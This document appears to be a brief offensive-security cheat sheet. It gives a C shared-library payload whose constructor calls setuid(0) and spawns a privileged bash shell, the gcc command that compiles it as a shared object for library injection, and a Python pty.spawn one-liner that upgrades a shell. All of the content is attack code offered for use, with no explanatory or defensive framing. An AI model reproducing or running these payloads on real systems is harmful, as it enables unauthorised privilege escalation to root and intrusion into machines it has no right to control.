## C
shell.c:
```c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
```
compile:
```bash
$ gcc -shared -fPIC -o <outputfile> shell.c
```
---
# Python
```bash
python -c'import pty; pty.spawn("/bin/bash")'
```